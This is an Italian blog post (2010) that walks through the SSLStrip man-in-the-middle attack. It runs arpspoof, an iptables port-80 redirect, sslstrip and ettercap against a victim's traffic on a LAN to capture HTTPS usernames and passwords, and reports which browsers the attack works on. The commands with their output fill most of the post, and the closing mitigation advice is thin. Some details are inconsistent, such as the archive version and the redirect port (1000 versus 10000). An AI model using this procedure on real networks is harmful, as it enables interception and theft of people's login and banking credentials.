"Se ci sono due o più modi di fare una cosa,
e uno di questi modi può condurre a una catastrofe,
allora qualcuno la farà in quel modo.

(Edward Murphy)

SSL Strip

Mer, 20/10/2010 - 00:00 -- arturu
SSL Strip

Oggi si parla di sicurezza informatica, o di insicurezza informatica dipende dai punti di vista. SSL Strip è una tecnica presentata al Black Hat DC del 2009 che rientra nella categoria dei MITM (Main in the middle). All'interno di una rete LAN, questa tecnica permette di sniffare le password provenienti da un server sicuro, HTTPS per fare un esempio. Questa tecnica risulta molto pericolosa, in quanto, se un malintenzionato riuscisse ad entrare in una qualsiasi rete LAN o rete wireless (abitazione, ufficio, ecc) potrebbe venire in possesso dei vostri account email e password di hotmail, gmail, facebook, twitter, instantempo e perfino i dati bancari. La tecnica, a grandi linee, molto semplicemente, consiste nel far in modo che il computer dell'attaccante si metta in mezzo tra il computer della vittima e il router, il computer dell'attaccante diventa un "nodo invisibile" su cui vengono veicolate tutte le informazioni. A fine articolo si abbozzeranno delle soluzioni al problema.

Configurazione di SSL Strip

Il sistema che userò per configurare gli script e i programmi è Ubuntu 10.4, per diversi motivi: i sorgenti e i comandi sono progettati per un sistema Linux; su un altro sistema non si possono fare tutte le modifiche che ci si propone di fare; sono molti anni che uso Ubuntu e lo conosco fin nei minimi particolari. La prima operazione da fare è scaricare SSLStrip da: http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz. Scompattare il pacchetto, utilizzare "tar -zxvf sslstrip-0.4.tar.gz" se si sta operando da terminale.

arturu@arturu-laptop:~/Scrivania$ tar -zxvf sslstrip-0.7.tar.gz
sslstrip-0.7/
sslstrip-0.7/setup.py
sslstrip-0.7/README
sslstrip-0.7/COPYING
sslstrip-0.7/lock.ico
sslstrip-0.7/sslstrip/
sslstrip-0.7/sslstrip/StrippingProxy.py
sslstrip-0.7/sslstrip/URLMonitor.py
sslstrip-0.7/sslstrip/ServerConnectionFactory.py
sslstrip-0.7/sslstrip/__init__.py
sslstrip-0.7/sslstrip/ServerConnection.py
sslstrip-0.7/sslstrip/ClientRequest.py
sslstrip-0.7/sslstrip/SSLServerConnection.py
sslstrip-0.7/sslstrip/CookieCleaner.py
sslstrip-0.7/sslstrip.py
arturu@arturu-laptop:~/Scrivania$

Il file compresso viene estratto in una cartella, entrare nella cartella e compilare il codice sorgente con "python setup.py build" (è necessario avere installato l'interprete python)

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ python setup.py build
running build
running build_py
creating build
creating build/lib.linux-i686-2.6
creating build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnection.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/StrippingProxy.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/__init__.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/SSLServerConnection.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnectionFactory.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ClientRequest.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/URLMonitor.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/CookieCleaner.py -> build/lib.linux-i686-2.6/sslstrip
running build_scripts
creating build/scripts-2.6
copying and adjusting sslstrip/sslstrip -> build/scripts-2.6
changing mode of build/scripts-2.6/sslstrip from 644 to 755
Cleaning up...
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Successivamente bisogna installare tutto con il comando "sudo python setup.py install"

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo python setup.py install
[sudo] password for arturu:
running install
running build
running build_py
running build_scripts
copying and adjusting sslstrip/sslstrip -> build/scripts-2.6
running install_lib
running install_scripts
copying build/scripts-2.6/sslstrip -> /usr/local/bin
changing mode of /usr/local/bin/sslstrip to 755
running install_data
running install_egg_info
Removing /usr/local/lib/python2.6/dist-packages/sslstrip-0.6.egg-info
Writing /usr/local/lib/python2.6/dist-packages/sslstrip-0.6.egg-info
Cleaning up...
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Appena installato SSLStrip, bisogna procedere all'installazione di arpspoof. Arpspoof è un programma che fa credere ad un host (computer della vittima) che l'indirizzo MAC dell'attaccante è l'indirizzo MAC del router (contaminando i pacchetti arp, ma questo è un altro discorso), così facendo la vittima inizia ad inviare all'attaccante tutto il suo traffico di rete; il kernel dell'attaccante, ad eccezione per il traffico destinato alla porta 80, reindirizza tutto a $ listenPort (10000, per esempio).

Installiamo arpspoof con il comando "sudo apt-get install dsniff" e successivamente installiamo Ettercap (altro famoso tool per la cattura dei pacchetti) con il comando "sudo apt-get install ettercap". Adesso che abbiamo installato tutto il software si può passare all'utilizzo.

Utilizzo di SSLStrip

Da ora in poi facciamo finta che noi siamo gli attaccanti e Mario sia la nostra vittima. Come prima cosa bisogna conoscere il nostro indirizzo ip all'interno della rete LAN, da terminale digitiamo "ifconfig"

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ ifconfig
eth0    Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisioni:0 txqueuelen:1000
          Byte RX:0 (0.0 B)  Byte TX:0 (0.0 B)
          Interrupt:21 

wlan0  Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          indirizzo inet:10.10.100.5  Bcast:10.10.100.255  Maschera:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:41373 errors:0 dropped:0 overruns:0 frame:0
          TX packets:44774 errors:0 dropped:0 overruns:0 carrier:0
          collisioni:0 txqueuelen:1000
          Byte RX:27814338 (27.8 MB)  Byte TX:10429284 (10.4 MB)

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Dopo la voce HWaddr abbiamo il nostro indirizzo MAC e dopo inet il nostro indirizzo ip nella rete interna. In questo caso nella mia rete interna ho il seguente indirizzo ip 10.10.100.5 sull'interfaccia wireless, l'ethernet è disattivata; il mio MAC address è 00:00:00:00:00:00 (l'ho modificato perché non mi va di pubblicarlo). Bisogna trovare l'indirizzo del gateway, è necessario che esso sia uguale a quello della vittima, situazione che si verifica nel 90% dei casi, digitiamo da terminale " ip route show | grep default | awk '{ print $3}' "

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ ip route show | grep default | awk '{ print $3}'
10.10.100.254
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

in questo caso l'indirizzo del gateway è 10.10.100.254. Successivamente bisogna aprire tre diverse schede nella finestra del terminale, perché abbiamo bisogno di eseguire tre comandi in parallelo. Nel primo tab eseguire "sudo arpspoof -t 10.10.100.2 10.10.100.254", dove il primo indirizzo ip è quello della vittima e il secondo è il gateway (per trovare gli indirizzi dei computer connessi nella LAN basta utilizzare un qualsiasi scanner di rete), il risultato è simile al seguente (ho modificato i MAC address) praticamente ogni pacchetto della vittima in ogni instantempo viene fatto passare attraverso il nostro computer e inviato al router vero, e viceversa.

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo arpspoof -t 10.10.100.2 10.10.100.254
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00

Nella seconda scheda eseguiamo il comando "iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 1000", serve a renderizzare le richieste dalla porta 80 alla porta 1000 del nostro computer (la porta di destinazione la possiamo cambiare a piacere, in caso fosse già utilizzata da un altro servizio).

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 1000
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Subito dopo facciamo partire "sslstrip" e si lascia in esecuzione

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sslstrip

sslstrip 0.6 by Moxie Marlinspike running...

Nella terza tab facciamo partire ettercap in sniff mode con il seguente comando "sudo ettercap -Tqz", aspettiamo che la nostra vittima digiti login e password su una connessione "sicura", il risultato dovrebbe essere il seguente (ho modificato il mio MAC address)

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo ettercap -Tqz
[sudo] password for arturu: 

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on wlan... (Wireless)

  wlan0 ->	00:00:00:00:00:00      10.10.100.5     255.255.255.0

Privileges dropped to UID 65534 GID 65534...

  28 plugins
  39 protocol dissectors
  53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Starting Unified sniffing...

Text only Interface activated...
Hit 'h' for inline help

Fatto questo appena un utente tenterà di accedere ad un servizio su un server protetto, ettercap intercetterà username e password e la visualizzerà in questa ultima tab.

Utilizzo di SSLStrip secondo la documentazione

Secondo gli autori di SSLStrip l'utilizzo del tool dovrebbe essere il seguente:

  • Flip your machine into forwarding mode. (echo "1" > /proc/sys/net/ipv4/ip_forward)
  • Setup iptables to redirect HTTP traffic to sslstrip. (iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <listenPort>)
  • Run sslstrip. (sslstrip.py -l <listenPort>)
  • Run arpspoof to convince a network they should send their traffic to you. (arpspoof -i <interface> -t <targetIP> <gatewayIP>)

In questo modo non sono mai riuscito a beccare una password, forse qualcun altro sarà più fortunato.

Un articolo interessante si può leggere su: http://pointnext.blogspot.com/2010/01/ssl-strip-con-ettercap.html ma ancora non ho avuto il tempo di provare.

Funziona sempre?

Dalle prove che ho fatto se la vittima lavora su una macchina Windows (ho provato soltanto con XP e Vista) l'attacco va a buon fine con qualsiasi browser. Safari su MacOsX restituisce pagina bianca, cioè non fa nessuna operazione e l'attacco non va a buon fine, ma l'utente non riceve nessuna segnalazione sul fatto che la connessione sicura è stata compromessa. Su Ubuntu utilizzando firefox o chrome si viene avvertiti che il certificato di sicurezza non è valido e l'utente può decidere di abbandonare la connessione (comunque se l'utente accetta il certificato viene restituita una pagina bianca), invece con Opera l'attacco va a buon fine.

Soluzioni

Per ora le soluzioni che mi sento di suggerire sono:

  • Se è possibile, preferire il cavo alla wireless, infatti è più difficile connettersi ad una LAN con il cavo che non tramite wireless anche se è protetta;
  • Aggiornare browser e Sistema Operativo sperando che venga risolto il problema (caso molto probabile in quanto questo problema è noto dal 2009);
  • Consiglio di parte: utilizzare un sistema operativo più sicuro degli altri ad es: Ubuntu o MacOsX

Saluti Arturu.it

PS Come tutti hanno capito non si trattava di un articolo che parla dello "Strip" Tease. Tu lettore, se ancora cerchi questo, leggendo ancora non troverai niente, anche perché: l'articolo è finito... ;)